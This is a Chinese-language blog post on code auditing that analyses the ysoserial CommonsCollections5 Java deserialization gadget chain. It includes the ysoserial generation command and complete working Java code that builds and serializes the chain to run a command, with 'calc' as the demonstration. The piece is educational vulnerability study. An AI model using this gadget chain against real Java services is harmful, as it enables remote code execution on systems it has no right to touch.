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ysoserial CommonsCollections 5 反序列化分析

Y4er • 2020年1月19日 pm7:35 • 代码审计 • 阅读 4058

迷迷糊糊看了一个多月Java，把学校学的javaweb捡了起来，自己又看了看spring，想了想与其审计TOP10的漏洞，还是反序列化最考验审计能力和逻辑思维，干脆一不做二不休把ysoserial的反序列化链拿来研究研究，不想写文章，但是又觉得看得懂的东西还是写一写才能记得住。文笔不好，自己明白的东西写出来不一定明了，有问题的直接留言吧。

前言

Apache Commons Collections 的漏洞最早是2015年 FoxGlove Security 安全团队在其博客中发表了一篇长文，全面阐述了此漏洞对各种中间件的影响。

在我的上篇关于 Java反序列化 的文章中，简单提到了反序列化的入口(readObject)和反射，本文我们根据上文的基础来学习 ysoserial CommonsCollections5 的反序列化流程。

搭建环境

使用idea创建一个maven项目，在pom.xml文件中加入commons-collections依赖。

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>ysoserialPayload</artifactId>
    <version>1.0-SNAPSHOT</version>
    <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>
    </dependencies>

</project>

创建一个Java文件，包含反序列化的方法，其中deserialize()是从test.ser中读取对象并进行反序列化。

package payload;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class CommonsCollections5 {
    public static void main(String[] args) {
        deserialize();
    }

    public static void serialize(Object obj) {
        try {
            ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
            os.writeObject(obj);
            os.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void deserialize() {
        try {
            ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
            is.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

漏洞复现

使用ysoserial生成payload

java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 calc > test.ser

20200119192547
成功弹出计算器。

漏洞分析

在 ysoserial的payload 中，我们可以看到问题出在 org.apache.commons.collections.functors.InvokerTransformer，在这个类中实现了Serializable接口，并且有一个transform方法。

public Object transform(Object input) {
    if (input == null) {
        return null;
    } else {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } catch (NoSuchMethodException var5) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException var6) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException var7) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
        }
    }
}

这明显是反射的用法，使用transform方法我们可以调用Runtime类执行命令

20200119192613

但是我们知道，在反序列化时都是执行 readObject() 函数就行了，但是直接序列化 InvokerTransformer 类我们还需要再次执行 invokerTransformer.transform() ，这是不现实的，并且Runtime.getRuntime() 我们也需要用反射构造。所以我们现在的目的就在于寻找看哪里调用了 transform() 方法。

最终找到了org.apache.commons.collections.functors.ChainedTransformer

public ChainedTransformer(Transformer[] transformers) {
    this.iTransformers = transformers;
}

public Object transform(Object object) {
    for(int i = 0; i < this.iTransformers.length; ++i) {
        object = this.iTransformers[i].transform(object);
    }

    return object;
}

在这个transform中 iTransformers[i] 就是InvokerTransformer对象，构造代码。

package payload;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

class CommonsCollections5Test {
    public static void main(String[] args) throws Exception {
//        ((Runtime) Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc");
        Transformer[] transformers = new Transformer[]{
                // 传入Runtime类
                new ConstantTransformer(Runtime.class),
                // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                // 调用exec("calc")
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
        };
        Transformer chain = new ChainedTransformer(transformers);
        chain.transform(null);
    }
}

20200119192641

不得不说，漏洞发现者的思维真的是秒，这个链首先 new ConstantTransformer(Runtime.class) 通过其构造方法拿到了Runtime类，然后通过InvokerTransformer的反射功能拿到getRuntime()，然后又用一个InvokerTransformer拿到了invoke()，最后再用InvokerTransformer拿到exec，达成执行命令的效果。整个链写成一句代码是这样的：

((Runtime) Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc");

但是此时我们仍然需要调用transform()方法，才能触发rce。在实际情况中，我们希望执行readObject()之后就可以进行rce，那么我们找一下哪里重写了readObject()函数，并且直接或者间接的调用了transform()方法。

在org.apache.commons.collections.map.LazyMap#get中调用了transform()

public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        super.map.put(key, value);
        return value;
    } else {
        return super.map.get(key);
    }
}

org.apache.commons.collections.keyvalue.TiedMapEntry中

public Object getValue() {
    return this.map.get(this.key);
}
......
public String toString() {
    return this.getKey() + "=" + this.getValue();
}

getValue()调用了map的get()方法，而toString()中又调用了getValue()，而在BadAttributeValueExpException类中重写了readObject方法

public BadAttributeValueExpException (Object val) {
    this.val = val == null ? null : val.toString();
}
public String toString()  {
    return "BadAttributeValueException: " + val;
}

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    ObjectInputStream.GetField gf = ois.readFields();
    Object valObj = gf.get("val", null);

    if (valObj == null) {
        val = null;
    } else if (valObj instanceof String) {
        val= valObj;
    } else if (System.getSecurityManager() == null
               || valObj instanceof Long
               || valObj instanceof Integer
               || valObj instanceof Float
               || valObj instanceof Double
               || valObj instanceof Byte
               || valObj instanceof Short
               || valObj instanceof Boolean) {
        val = valObj.toString();
    } else { // the serialized object is from a version without JDK-8019292 fix
        val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
    }
}

成了！反序列化时自动调用toString()，那么我们可以这样做：
1. 以TiedMapEntry对象为参数声明一个BadAttributeValueExpException对象，反序列化自动调用TiedMapEntry.toString()
2. 上一步的toString触发TiedMapEntry.getValue()，进而触发LazyMap.get()
3. LazyMap.get()触发ChainedTransformer.transform()实现rce!

构造代码

package payload;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

class CommonsCollections5Test {
    public static void main(String[] args) throws Exception {
        //        ((Runtime) Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc");
        Transformer[] transformers = new Transformer[]{
            // 传入Runtime类
            new ConstantTransformer(Runtime.class),
            // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
            // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
            // 调用exec("calc")
            new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
        };
        Transformer chain = new ChainedTransformer(transformers);
        Map map = new HashMap();
        Map lazyMap = LazyMap.decorate(map, chain);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "");
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException, entry);

        serialize(badAttributeValueExpException);
        deserialize();
    }

    public static void serialize(Object obj) {
        try {
            ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
            os.writeObject(obj);
            os.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void deserialize() {
        try {
            ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
            is.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

需要注意的是，在声明BadAttributeValueExpException对象时，并没有直接传入entry参数，而是用反射赋值。

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(entry);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, entry);

因为BadAttributeValueExpException的构造函数就会判断是否为空，如果不为空在序列化时就会执行toString()，那么反序列化时，因为传入的entry已经是字符串，所以就不会触发toString方法了。

    public BadAttributeValueExpException (Object val) {
        this.val = val == null ? null : val.toString();
    }

20200119192839

总结

这里抄一下ysoserial的 Gadget chain

/*
    Gadget chain:
        ObjectInputStream.readObject()
            BadAttributeValueExpException.readObject()
                TiedMapEntry.toString()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()
    Requires:
        commons-collections
 */

个人觉得这个洞最经典的地方还是在InvokerTransformer的rce构造，着实考验对反射的理解和运用。

参考链接：
– https://www.xmanblog.net/java-deserialize-apache-commons-collections/
– https://www.freebuf.com/vuls/175252.html
– https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections5.java

文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。

原创文章，作者：Y4er，未经授权禁止转载！如若转载，请联系作者：Y4er

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